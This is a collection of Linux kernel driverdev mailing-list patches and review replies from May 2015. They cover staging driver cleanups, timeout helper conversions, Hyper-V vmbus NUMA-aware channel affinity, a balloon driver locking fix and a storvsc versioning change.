Modified the if-else statements to remove unnecessary comparisons in rxtx.c. This change was detected with the help of coccinelle tool Signed-off-by: Harisangam Sharvari --- drivers/staging/vt6655/rxtx.c |8 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/drivers/staging/vt6655/rxtx.c b/drivers/staging/vt6655/rxtx.c index 7468776..7fedde3 100644 --- a/drivers/staging/vt6655/rxtx.c +++ b/drivers/staging/vt6655/rxtx.c @@ -1093,7 +1093,7 @@ s_cbFillTxBufHead(struct vnt_private *pDevice, unsigned char byPktType, if (byPktType == PK_TYPE_11GB || byPktType == PK_TYPE_11GA) {/* 802.11g packet */ if (byFBOption == AUTO_FB_NONE) { - if (bRTS == true) {/* RTS_need */ + if (bRTS) {/* RTS_need */ pvRrvTime = (void *)(pbyTxBufferAddr + wTxBufSize); pMICHDR = (struct vnt_mic_hdr *)(pbyTxBufferAddr + wTxBufSize + sizeof(struct vnt_rrv_time_rts)); pvRTS = (void *)(pbyTxBufferAddr + wTxBufSize + sizeof(struct vnt_rrv_time_rts) + cbMICHDR); @@ -1115,7 +1115,7 @@ s_cbFillTxBufHead(struct vnt_private *pDevice, unsigned char byPktType, } } else { /* Auto Fall Back */ - if (bRTS == true) {/* RTS_need */ + if (bRTS) {/* RTS_need */ pvRrvTime = (void *)(pbyTxBufferAddr + wTxBufSize); pMICHDR = (struct vnt_mic_hdr *) (pbyTxBufferAddr + wTxBufSize + sizeof(struct vnt_rrv_time_rts)); pvRTS = (void *) (pbyTxBufferAddr + wTxBufSize + sizeof(struct vnt_rrv_time_rts) + cbMICHDR); @@ -1138,7 +1138,7 @@ s_cbFillTxBufHead(struct vnt_private *pDevice, unsigned char byPktType, } else {/* 802.11a/b packet */ if (byFBOption == AUTO_FB_NONE) { - if (bRTS == true) { + if (bRTS) { pvRrvTime = (void *)(pbyTxBufferAddr + wTxBufSize); pMICHDR = (struct vnt_mic_hdr *) (pbyTxBufferAddr + wTxBufSize + sizeof(struct vnt_rrv_time_ab)); pvRTS = (void *)(pbyTxBufferAddr + wTxBufSize + sizeof(struct vnt_rrv_time_ab) + cbMICHDR); @@ -1158,7 +1158,7 @@ s_cbFillTxBufHead(struct vnt_private *pDevice, unsigned char byPktType, } } else { /* Auto Fall Back */ - if (bRTS == true) { /* RTS_need */ + if (bRTS) { /* RTS_need */ pvRrvTime = (void *)(pbyTxBufferAddr + wTxBufSize); pMICHDR = (struct vnt_mic_hdr *) (pbyTxBufferAddr + wTxBufSize + sizeof(struct vnt_rrv_time_ab)); pvRTS = (void *)(pbyTxBufferAddr + wTxBufSize + sizeof(struct vnt_rrv_time_ab) + cbMICHDR); -- 1.7.9.5 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] staging: me_daq: use schedule_timeout_interruptible()
API consolidation with coccinelle found: ./drivers/staging/comedi/drivers/me_daq.c:177:1-17: consolidation with schedule_timeout_*() recommended This is a 1:1 conversion of the current calls to an available helper only - so only an API consolidation to improve readability. Patch was compile tested with x86_64_defconfig + CONFIG_STAGING=y, CONFIG_COMEDI=y, CONFIG_COMEDI_PCI_DRIVERS=y CONFIG_COMEDI_ME_DAQ=m Patch is against 4.1-rc5 (localversion-next is -next-20150529) Signed-off-by: Nicholas Mc Guire --- drivers/staging/comedi/drivers/me_daq.c |3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/drivers/staging/comedi/drivers/me_daq.c b/drivers/staging/comedi/drivers/me_daq.c index d78e919..9ea1ba4 100644 --- a/drivers/staging/comedi/drivers/me_daq.c +++ b/drivers/staging/comedi/drivers/me_daq.c @@ -173,8 +173,7 @@ struct me_private_data { static inline void sleep(unsigned sec) { - __set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout(sec * HZ); + schedule_timeout_interruptible(sec * HZ); } static int me_dio_insn_config(struct comedi_device *dev, -- 1.7.10.4 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: me_daq: use schedule_timeout_interruptible()
On 29/05/15 16:58, Nicholas Mc Guire wrote: API consolidation with coccinelle found: ./drivers/staging/comedi/drivers/me_daq.c:177:1-17: consolidation with schedule_timeout_*() recommended This is a 1:1 conversion of the current calls to an available helper only - so only an API consolidation to improve readability. Patch was compile tested with x86_64_defconfig + CONFIG_STAGING=y, CONFIG_COMEDI=y, CONFIG_COMEDI_PCI_DRIVERS=y CONFIG_COMEDI_ME_DAQ=m Patch is against 4.1-rc5 (localversion-next is -next-20150529) Minor niggle: you don't really need to say what version the patch is against in the commit message, as the version will have changed by the time the patch is committed. It can be mentioned after the "---" marker line if relevant, as the stuff after the "---" line does not end up in the commit message. Signed-off-by: Nicholas Mc Guire --- drivers/staging/comedi/drivers/me_daq.c |3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/drivers/staging/comedi/drivers/me_daq.c b/drivers/staging/comedi/drivers/me_daq.c index d78e919..9ea1ba4 100644 --- a/drivers/staging/comedi/drivers/me_daq.c +++ b/drivers/staging/comedi/drivers/me_daq.c @@ -173,8 +173,7 @@ struct me_private_data { static inline void sleep(unsigned sec) { - __set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout(sec * HZ); + schedule_timeout_interruptible(sec * HZ); } static int me_dio_insn_config(struct comedi_device *dev, The patch itself looks fine! Reviewed-by: Ian Abbott -- -=( Ian Abbott @ MEV Ltd.E-mail: )=- -=( Web: http://www.mev.co.uk/ )=- ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
RE: [PATCH v2 2/2] Drivers: hv: vmbus: use cpu_hotplug_enable/disable
> -Original Message- > From: Vitaly Kuznetsov [mailto:vkuzn...@redhat.com] > Sent: Thursday, May 21, 2015 9:22 AM > To: de...@linuxdriverproject.org > Cc: KY Srinivasan; Haiyang Zhang; linux-ker...@vger.kernel.org; Dexuan Cui; > Ingo Molnar; Paul E. McKenney; Rafael J. Wysocki; Peter Zijlstra; Thomas > Gleixner; Radim Krčmář > Subject: [PATCH v2 2/2] Drivers: hv: vmbus: use cpu_hotplug_enable/disable > > Commit e513229b4c38 ("Drivers: hv: vmbus: prevent cpu offlining on newer > hypervisors") was altering smp_ops.cpu_disable to prevent CPU offlining. > We can bo better by using cpu_hotplug_enable/disable functions instead of > such hard-coding. > > Reported-by: Radim Krčmář > Signed-off-by: Vitaly Kuznetsov This patch does not apply. Vitaly, could you rebase this on Greg's tree and re-submit. Regards, K. Y > --- > drivers/hv/vmbus_drv.c | 38 -- > 1 file changed, 4 insertions(+), 34 deletions(-) > > diff --git a/drivers/hv/vmbus_drv.c b/drivers/hv/vmbus_drv.c > index c85235e..e916ba2 100644 > --- a/drivers/hv/vmbus_drv.c > +++ b/drivers/hv/vmbus_drv.c > @@ -763,38 +763,6 @@ static void vmbus_isr(void) > } > } > > -#ifdef CONFIG_HOTPLUG_CPU > -static int hyperv_cpu_disable(void) > -{ > - return -ENOSYS; > -} > - > -static void hv_cpu_hotplug_quirk(bool vmbus_loaded) > -{ > - static void *previous_cpu_disable; > - > - /* > - * Offlining a CPU when running on newer hypervisors (WS2012R2, > Win8, > - * ...) is not supported at this moment as channel interrupts are > - * distributed across all of them. > - */ > - > - if ((vmbus_proto_version == VERSION_WS2008) || > - (vmbus_proto_version == VERSION_WIN7)) > - return; > - > - if (vmbus_loaded) { > - previous_cpu_disable = smp_ops.cpu_disable; > - smp_ops.cpu_disable = hyperv_cpu_disable; > - pr_notice("CPU offlining is not supported by hypervisor\n"); > - } else if (previous_cpu_disable) > - smp_ops.cpu_disable = previous_cpu_disable; > -} > -#else > -static void hv_cpu_hotplug_quirk(bool vmbus_loaded) > -{ > -} > -#endif > > /* > * vmbus_bus_init -Main vmbus driver initialization routine. > @@ -836,7 +804,8 @@ static int vmbus_bus_init(int irq) > if (ret) > goto err_alloc; > > - hv_cpu_hotplug_quirk(true); > + if (vmbus_proto_version > VERSION_WIN7) > + cpu_hotplug_disable(); > > /* >* Only register if the crash MSRs are available > @@ -1103,7 +1072,8 @@ static void __exit vmbus_exit(void) > for_each_online_cpu(cpu) > smp_call_function_single(cpu, hv_synic_cleanup, NULL, 1); > acpi_bus_unregister_driver(&vmbus_acpi_driver); > - hv_cpu_hotplug_quirk(false); > + if (vmbus_proto_version > VERSION_WIN7) > + cpu_hotplug_enable(); > vmbus_disconnect(); > } > > -- > 1.9.3 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 0/3] Drivers: hv: vmbus: Make VMBUS driver NUMA aware
Implement CPU affinity for channels based on NUMA topology. Also, allocate all channel specific memory from the appropriate NUMA node. K. Y. Srinivasan (3): Drivers: hv: vmbus: Use the vp_index map even for channels bound to CPU 0 Drivers: hv: vmbus: Implement NUMA aware CPU affinity for channels Drivers: hv: vmbus: Allocate ring buffer memory in NUMA aware fashion drivers/hv/channel.c | 14 +++- drivers/hv/channel_mgmt.c | 74 ++-- include/linux/hyperv.h|5 +++ 3 files changed, 61 insertions(+), 32 deletions(-) -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: me_daq: use schedule_timeout_interruptible()
On Fri, 29 May 2015, Ian Abbott wrote: > On 29/05/15 16:58, Nicholas Mc Guire wrote: >> API consolidation with coccinelle found: >> ./drivers/staging/comedi/drivers/me_daq.c:177:1-17: >> consolidation with schedule_timeout_*() recommended >> >> This is a 1:1 conversion of the current calls to an available helper >> only - so only an API consolidation to improve readability. >> >> Patch was compile tested with x86_64_defconfig + CONFIG_STAGING=y, >> CONFIG_COMEDI=y, CONFIG_COMEDI_PCI_DRIVERS=y CONFIG_COMEDI_ME_DAQ=m >> >> Patch is against 4.1-rc5 (localversion-next is -next-20150529) > > Minor niggle: you don't really need to say what version the patch is > against in the commit message, as the version will have changed by the > time the patch is committed. It can be mentioned after the "---" marker > line if relevant, as the stuff after the "---" line does not end up in > the commit message. > makes sense - will move that down for the other cleanups. thx! hofrat ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 2/3] Drivers: hv: vmbus: Implement NUMA aware CPU affinity for channels
Channels/sub-channels can be affinitized to VCPUs in the guest. Implement this affinity in a way that is NUMA aware. The current protocol distributed the primary channels uniformly across all available CPUs. The new protocol is NUMA aware: primary channels are distributed across the available NUMA nodes while the sub-channels within a primary channel are distributed amongst CPUs within the NUMA node assigned to the primary channel. Signed-off-by: K. Y. Srinivasan --- drivers/hv/channel_mgmt.c | 72 +++-- include/linux/hyperv.h|5 +++ 2 files changed, 48 insertions(+), 29 deletions(-) diff --git a/drivers/hv/channel_mgmt.c b/drivers/hv/channel_mgmt.c index c3eba37..4506a66 100644 --- a/drivers/hv/channel_mgmt.c +++ b/drivers/hv/channel_mgmt.c @@ -370,25 +370,27 @@ static const struct hv_vmbus_device_id hp_devs[] = { /* * We use this state to statically distribute the channel interrupt load. */ -static u32 next_vp; +static int next_numa_node_id; /* * Starting with Win8, we can statically distribute the incoming - * channel interrupt load by binding a channel to VCPU. We - * implement here a simple round robin scheme for distributing - * the interrupt load. - * We will bind channels that are not performance critical to cpu 0 and - * performance critical channels (IDE, SCSI and Network) will be uniformly - * distributed across all available CPUs. + * channel interrupt load by binding a channel to VCPU. + * We do this in a hierarchical fashion: + * First distribute the primary channels across available NUMA nodes + * and then distribute the subchannels amongst the CPUs in the NUMA + * node assigned to the primary channel. + * + * For pre-win8 hosts or non-performance critical channels we assign the + * first CPU in the first NUMA node. */ static void init_vp_index(struct vmbus_channel *channel, const uuid_le *type_guid) { u32 cur_cpu; int i; bool perf_chn = false; - u32 max_cpus = num_online_cpus(); - struct vmbus_channel *primary = channel->primary_channel, *prev; - unsigned long flags; + struct vmbus_channel *primary = channel->primary_channel; + int next_node; + struct cpumask available_mask; for (i = IDE; i < MAX_PERF_CHN; i++) { if (!memcmp(type_guid->b, hp_devs[i].guid, @@ -405,36 +407,48 @@ static void init_vp_index(struct vmbus_channel *channel, const uuid_le *type_gui * Also if the channel is not a performance critical * channel, bind it to cpu 0. */ + channel->numa_node = 0; + cpumask_set_cpu(0, &channel->alloced_cpus_in_node); channel->target_cpu = 0; channel->target_vp = hv_context.vp_index[0]; return; } /* -* Primary channels are distributed evenly across all vcpus we have. -* When the host asks us to create subchannels it usually makes us -* num_cpus-1 offers and we are supposed to distribute the work evenly -* among the channel itself and all its subchannels. Make sure they are -* all assigned to different vcpus. +* We distribute primary channels evenly across all the available +* NUMA nodes and within the assigned NUMA node we will assign the +* first available CPU to the primary channel. +* The sub-channels will be assigned to the CPUs available in the +* NUMA node evenly. */ - if (!primary) - cur_cpu = (++next_vp % max_cpus); - else { + if (!primary) { + while (true) { + next_node = next_numa_node_id++; + if (next_node == nr_node_ids) + next_node = next_numa_node_id = 0; + if (cpumask_empty(cpumask_of_node(next_node))) + continue; + break; + } + channel->numa_node = next_node; + primary = channel; + } + + if (cpumask_weight(&primary->alloced_cpus_in_node) == + cpumask_weight(cpumask_of_node(primary->numa_node))) { /* -* Let's assign the first subchannel of a channel to the -* primary->target_cpu+1 and all the subsequent channels to -* the prev->target_cpu+1. +* We have cycled through all the CPUs in the node; +* reset the alloced map. */ - spin_lock_irqsave(&primary->lock, flags); - if (primary->num_sc == 1) - cur_cpu = (primary->target_cpu + 1) % max_cpus; - else { - prev = list_prev_entry(channel, sc_list); - cur_cpu = (prev->target_cpu + 1) % max_cpus; - } - spin_unlock_irqrestore(&primary->lock, flags); +
[PATCH 3/3] Drivers: hv: vmbus: Allocate ring buffer memory in NUMA aware fashion
Signed-off-by: K. Y. Srinivasan --- drivers/hv/channel.c | 14 -- 1 files changed, 12 insertions(+), 2 deletions(-) diff --git a/drivers/hv/channel.c b/drivers/hv/channel.c index 7a1c2db..603ce97 100644 --- a/drivers/hv/channel.c +++ b/drivers/hv/channel.c @@ -73,6 +73,7 @@ int vmbus_open(struct vmbus_channel *newchannel, u32 send_ringbuffer_size, unsigned long flags; int ret, err = 0; unsigned long t; + struct page *page; spin_lock_irqsave(&newchannel->lock, flags); if (newchannel->state == CHANNEL_OPEN_STATE) { @@ -87,8 +88,17 @@ int vmbus_open(struct vmbus_channel *newchannel, u32 send_ringbuffer_size, newchannel->channel_callback_context = context; /* Allocate the ring buffer */ - out = (void *)__get_free_pages(GFP_KERNEL|__GFP_ZERO, - get_order(send_ringbuffer_size + recv_ringbuffer_size)); + page = alloc_pages_node(cpu_to_node(newchannel->target_cpu), + GFP_KERNEL|__GFP_ZERO, + get_order(send_ringbuffer_size + + recv_ringbuffer_size)); + + if (!page) + out = (void *)__get_free_pages(GFP_KERNEL|__GFP_ZERO, + get_order(send_ringbuffer_size + + recv_ringbuffer_size)); + else + out = (void *)page_address(page); if (!out) { err = -ENOMEM; -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 1/3] Drivers: hv: vmbus: Use the vp_index map even for channels bound to CPU 0
Map target_cpu to target_vcpu using the mapping table. Signed-off-by: K. Y. Srinivasan --- drivers/hv/channel_mgmt.c |2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diff --git a/drivers/hv/channel_mgmt.c b/drivers/hv/channel_mgmt.c index 1f1417d..c3eba37 100644 --- a/drivers/hv/channel_mgmt.c +++ b/drivers/hv/channel_mgmt.c @@ -406,7 +406,7 @@ static void init_vp_index(struct vmbus_channel *channel, const uuid_le *type_gui * channel, bind it to cpu 0. */ channel->target_cpu = 0; - channel->target_vp = 0; + channel->target_vp = hv_context.vp_index[0]; return; } -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 1/2] staging: dgnc: use schedule_timeout_interruptible()
API consolidation with coccinelle found: ./drivers/staging/dgnc/dgnc_utils.c:16:1-17: consolidation with schedule_timeout_*() recommended This is a 1:1 conversion with respect to schedule_timeout() to the schedule_timeout_interruptible() helper only - so only an API consolidation to improve readability. The timeout was being passed as (ms * HZ) / 1000 but that is not reliable as it allows the timeout to become 0 for small values of ms. As this cut-off is HZ dependent this is most likely not intended, so the timeout is converted with msecs_to_jiffies which handles all corener-cases correctly. Patch was compile tested with x86_64_defconfig + CONFIG_STAGING=y, CONFIG_DGNC=m Patch is against 4.1-rc5 (localversion-next is -next-20150529) Signed-off-by: Nicholas Mc Guire --- drivers/staging/dgnc/dgnc_utils.c |3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/drivers/staging/dgnc/dgnc_utils.c b/drivers/staging/dgnc/dgnc_utils.c index f76de82..0cbb8a1 100644 --- a/drivers/staging/dgnc/dgnc_utils.c +++ b/drivers/staging/dgnc/dgnc_utils.c @@ -12,7 +12,6 @@ */ int dgnc_ms_sleep(ulong ms) { - __set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout((ms * HZ) / 1000); + schedule_timeout_interruptible(msecs_to_jiffies(ms)); return signal_pending(current); } -- 1.7.10.4 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 2/2] staging: dgnc: switch timeout to signed type
The schedule_timeout*() helpers take the timeout as signed long, as ch_close_delay in struct channel_t was not used for other purposes its type was switched to signed long and the declarations fixed up. Patch was compile tested with x86_64_defconfig + CONFIG_STAGING=y, CONFIG_DGNC=m Patch is against 4.1-rc5 (localversion-next is -next-20150529) Signed-off-by: Nicholas Mc Guire --- Note that there is a "over 80 char" warning here that was not fixed as there are quite a few in dgnc_driver.h. drivers/staging/dgnc/dgnc_driver.h |2 +- drivers/staging/dgnc/dgnc_utils.c |2 +- drivers/staging/dgnc/dgnc_utils.h |2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/drivers/staging/dgnc/dgnc_driver.h b/drivers/staging/dgnc/dgnc_driver.h index f77fed5..5cbeb4d 100644 --- a/drivers/staging/dgnc/dgnc_driver.h +++ b/drivers/staging/dgnc/dgnc_driver.h @@ -320,7 +320,7 @@ struct channel_t { uintch_open_count; /* open count */ uintch_flags; /* Channel flags*/ - ulong ch_close_delay; /* How long we should drop RTS/DTR for */ + longch_close_delay; /* How long we should drop RTS/DTR for */ ulong ch_cpstime; /* Time for CPS calculations*/ diff --git a/drivers/staging/dgnc/dgnc_utils.c b/drivers/staging/dgnc/dgnc_utils.c index 0cbb8a1..4f7f86b 100644 --- a/drivers/staging/dgnc/dgnc_utils.c +++ b/drivers/staging/dgnc/dgnc_utils.c @@ -10,7 +10,7 @@ * * Returns 0 if timed out, !0 (showing signal) if interrupted by a signal. */ -int dgnc_ms_sleep(ulong ms) +int dgnc_ms_sleep(signed long ms) { schedule_timeout_interruptible(msecs_to_jiffies(ms)); return signal_pending(current); diff --git a/drivers/staging/dgnc/dgnc_utils.h b/drivers/staging/dgnc/dgnc_utils.h index 1164c3a..44cb479 100644 --- a/drivers/staging/dgnc/dgnc_utils.h +++ b/drivers/staging/dgnc/dgnc_utils.h @@ -1,6 +1,6 @@ #ifndef __DGNC_UTILS_H #define __DGNC_UTILS_H -int dgnc_ms_sleep(ulong ms); +int dgnc_ms_sleep(signed long ms); #endif -- 1.7.10.4 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 1/1] Drivers: hv: balloon: check if ha_region_mutex was acquired in MEM_CANCEL_ONLINE case
From: Vitaly Kuznetsov Memory notifiers are being executed in a sequential order and when one of them fails returning something different from NOTIFY_OK the remainder of the notification chain is not being executed. When a memory block is being onlined in online_pages() we do memory_notify(MEM_GOING_ONLINE, ) and if one of the notifiers in the chain fails we end up doing memory_notify(MEM_CANCEL_ONLINE, ) so it is possible for a notifier to see MEM_CANCEL_ONLINE without seeing the corresponding MEM_GOING_ONLINE event. E.g. when CONFIG_KASAN is enabled the kasan_mem_notifier() is being used to prevent memory hotplug, it returns NOTIFY_BAD for all MEM_GOING_ONLINE events. As kasan_mem_notifier() comes before the hv_memory_notifier() in the notification chain we don't see the MEM_GOING_ONLINE event and we do not take the ha_region_mutex. We, however, see the MEM_CANCEL_ONLINE event and unconditionally try to release the lock, the following is observed: [ 110.850927] = [ 110.850927] [ BUG: bad unlock balance detected! ] [ 110.850927] 4.1.0-rc3_bugxxx_test_ #595 Not tainted [ 110.850927] - [ 110.850927] systemd-udevd/920 is trying to release lock (&dm_device.ha_region_mutex) at: [ 110.850927] [] mutex_unlock+0xe/0x10 [ 110.850927] but there are no more locks to release! At the same time we can have the ha_region_mutex taken when we get the MEM_CANCEL_ONLINE event in case one of the memory notifiers after the hv_memory_notifier() in the notification chain failed so we need to add the mutex_is_locked() check. In case of MEM_ONLINE we are always supposed to have the mutex locked. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan --- drivers/hv/hv_balloon.c |4 +++- 1 files changed, 3 insertions(+), 1 deletions(-) diff --git a/drivers/hv/hv_balloon.c b/drivers/hv/hv_balloon.c index cb5b7dc..8a725cd 100644 --- a/drivers/hv/hv_balloon.c +++ b/drivers/hv/hv_balloon.c @@ -567,7 +567,9 @@ static int hv_memory_notifier(struct notifier_block *nb, unsigned long val, case MEM_ONLINE: dm_device.num_pages_onlined += mem->nr_pages; case MEM_CANCEL_ONLINE: - mutex_unlock(&dm_device.ha_region_mutex); + if (val == MEM_ONLINE || + mutex_is_locked(&dm_device.ha_region_mutex)) + mutex_unlock(&dm_device.ha_region_mutex); if (dm_device.ha_waiting) { dm_device.ha_waiting = false; complete(&dm_device.ol_waitevent); -- 1.7.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 1/3] Drivers: hv: vmbus: Use the vp_index map even for channels bound to CPU 0
On Fri, May 29, 2015 at 11:09:02AM -0700, K. Y. Srinivasan wrote: > Map target_cpu to target_vcpu using the mapping table. > It's really hard to tell from this changelog what the user visible effects of this patch are. regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 2/2] staging: dgnc: switch timeout to signed type
On Fri, May 29, 2015 at 06:41:28PM +0200, Nicholas Mc Guire wrote: > The schedule_timeout*() helpers take the timeout as signed long, as > ch_close_delay in struct channel_t was not used for other purposes its > type was switched to signed long and the declarations fixed up. Uh, we never pass it to schedule_timeout etc and even if we did how would that matter? It's either 250 or 0. What is the bug you are trying to fix and we can help you? regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] staging: panel: use schedule_timeout_interruptible()
API consolidation with coccinelle found: ./drivers/staging/panel/panel.c:782:2-18: consolidation with schedule_timeout_*() recommended This is a 1:1 conversion with respect to schedule_timeout() to the schedule_timeout_interruptible() helper only - so only an API consolidation to improve readability. The timeout was being passed as (ms * HZ + 999) / 1000 but that simply looks wrong - rather than "manual" converting to jiffies, msecs_to_jiffies which handles all corner-cases correctly, was used. Patch was compile tested with x86_64_defconfig + CONFIG_STAGING=y, CONFIG_PARPORT=m, CONFIG_PANEL=m Signed-off-by: Nicholas Mc Guire --- Patch is against 4.1-rc5 (localversion-next is -next-20150529) not really clear what the intent of (ms * HZ + 999) / 1000 was - this is HZ dependent and does not really make sense - the comment states "sleeps that many milliseconds" so it probably simply should be msecs_to_jiffies(ms) - but someone that knows the intention of this code needs to check this. drivers/staging/panel/panel.c |8 +++- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/drivers/staging/panel/panel.c b/drivers/staging/panel/panel.c index 0046ee0..d670494 100644 --- a/drivers/staging/panel/panel.c +++ b/drivers/staging/panel/panel.c @@ -775,12 +775,10 @@ static void pin_to_bits(int pin, unsigned char *d_val, unsigned char *c_val) /* sleeps that many milliseconds with a reschedule */ static void long_sleep(int ms) { - if (in_interrupt()) { + if (in_interrupt()) mdelay(ms); - } else { - __set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout((ms * HZ + 999) / 1000); - } + else + schedule_timeout_interruptible(msecs_to_jiffies(ms)); } /* send a serial byte to the LCD panel. The caller is responsible for locking -- 1.7.10.4 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 2/2] staging: dgnc: switch timeout to signed type
On Fri, 29 May 2015, Dan Carpenter wrote: > On Fri, May 29, 2015 at 06:41:28PM +0200, Nicholas Mc Guire wrote: > > The schedule_timeout*() helpers take the timeout as signed long, as > > ch_close_delay in struct channel_t was not used for other purposes its > > type was switched to signed long and the declarations fixed up. > > Uh, we never pass it to schedule_timeout etc and even if we did how > would that matter? It's either 250 or 0. > > What is the bug you are trying to fix and we can help you? > static code checkers being unhappy with type mismatch automatic type conversion is ok if necessary but in this case it simply is not as the ch_close_delay is only being used in this one place so why not do it type clean ? I'll turn the question around - what reason would there be to go through type conversion if it is not needed ? thx! hofrat ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
RE: [PATCH 1/3] Drivers: hv: vmbus: Use the vp_index map even for channels bound to CPU 0
> -Original Message- > From: Dan Carpenter [mailto:dan.carpen...@oracle.com] > Sent: Friday, May 29, 2015 10:00 AM > To: KY Srinivasan > Cc: gre...@linuxfoundation.org; linux-ker...@vger.kernel.org; > de...@linuxdriverproject.org; o...@aepfle.de; a...@canonical.com; > vkuzn...@redhat.com; jasow...@redhat.com > Subject: Re: [PATCH 1/3] Drivers: hv: vmbus: Use the vp_index map even for > channels bound to CPU 0 > > On Fri, May 29, 2015 at 11:09:02AM -0700, K. Y. Srinivasan wrote: > > Map target_cpu to target_vcpu using the mapping table. > > > > It's really hard to tell from this changelog what the user visible > effects of this patch are. We should use the map to transform guest CPU ID to VP Index as is done For the non-performance critical channels. While the value CPU 0 is special and will map to VP index 0, it is good to be consistent. Regards, K. Y > > regards, > dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 2/2] staging: dgnc: switch timeout to signed type
On Fri, May 29, 2015 at 07:21:26PM +0200, Nicholas Mc Guire wrote: > On Fri, 29 May 2015, Dan Carpenter wrote: > > > On Fri, May 29, 2015 at 06:41:28PM +0200, Nicholas Mc Guire wrote: > > > The schedule_timeout*() helpers take the timeout as signed long, as > > > ch_close_delay in struct channel_t was not used for other purposes its > > > type was switched to signed long and the declarations fixed up. > > > > Uh, we never pass it to schedule_timeout etc and even if we did how > > would that matter? It's either 250 or 0. > > > > What is the bug you are trying to fix and we can help you? > > > static code checkers being unhappy with type mismatch > automatic type conversion is ok if necessary but in this > case it simply is not as the ch_close_delay is only being > used in this one place so why not do it type clean ? This seems like a pointless warning. What does the warning look like? We pass ms to msecs_to_jiffies() and not to schedule_timeout() so it seems like somewhere something is confused. > I'll turn the question around - what reason would there be to > go through type conversion if it is not needed ? You can go crazy if you do ever pointless change which a static analysis tool suggests... Btw, Smatch says that "ms" is always 250 here, actually. I was guessing earlier when I said it could be zero. Get a smarter static checker which can read code. :P regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH 2/6] scsi: storvsc: Use a single value to track protocol versions
From: keith.ma...@microsoft.com Use a single value to track protocol versions to simplify comparisons and to be consistent with vmbus version tracking. Tested-by: Alex Ng Signed-off-by: Keith Mange Signed-off-by: K. Y. Srinivasan --- drivers/scsi/storvsc_drv.c | 35 +-- 1 files changed, 9 insertions(+), 26 deletions(-) diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index 582f3b5..5f9d133 100644 --- a/drivers/scsi/storvsc_drv.c +++ b/drivers/scsi/storvsc_drv.c @@ -58,12 +58,11 @@ * Win8: 5.1 */ +#define VMSTOR_PROTO_VERSION(MAJOR_, MINOR_) MAJOR_) & 0xff) << 8) | \ + (((MINOR_) & 0xff))) -#define VMSTOR_WIN7_MAJOR 4 -#define VMSTOR_WIN7_MINOR 2 - -#define VMSTOR_WIN8_MAJOR 5 -#define VMSTOR_WIN8_MINOR 1 +#define VMSTOR_PROTO_VERSION_WIN7 VMSTOR_PROTO_VERSION(4, 2) +#define VMSTOR_PROTO_VERSION_WIN8 VMSTOR_PROTO_VERSION(5, 1) /* Packet structure describing virtual storage requests. */ @@ -161,8 +160,7 @@ static int sense_buffer_size; */ static int vmscsi_size_delta; -static int vmstor_current_major; -static int vmstor_current_minor; +static int vmstor_proto_version; struct vmscsi_win8_extension { /* @@ -481,18 +479,6 @@ done: kfree(wrk); } -/* - * Major/minor macros. Minor version is in LSB, meaning that earlier flat - * version numbers will be interpreted as "0.x" (i.e., 1 becomes 0.1). - */ - -static inline u16 storvsc_get_version(u8 major, u8 minor) -{ - u16 version; - - version = ((major << 8) | minor); - return version; -} /* * We can get incoming messages from the host that are not in response to @@ -930,8 +916,7 @@ static int storvsc_channel_init(struct hv_device *device) vstor_packet->operation = VSTOR_OPERATION_QUERY_PROTOCOL_VERSION; vstor_packet->flags = REQUEST_COMPLETION_FLAG; - vstor_packet->version.major_minor = - storvsc_get_version(vmstor_current_major, vmstor_current_minor); + vstor_packet->version.major_minor = vmstor_proto_version; /* * The revision number is only used in Windows; set it to 0. @@ -1562,7 +1547,7 @@ static int storvsc_queuecommand(struct Scsi_Host *host, struct scsi_cmnd *scmnd) u32 payload_sz; u32 length; - if (vmstor_current_major <= 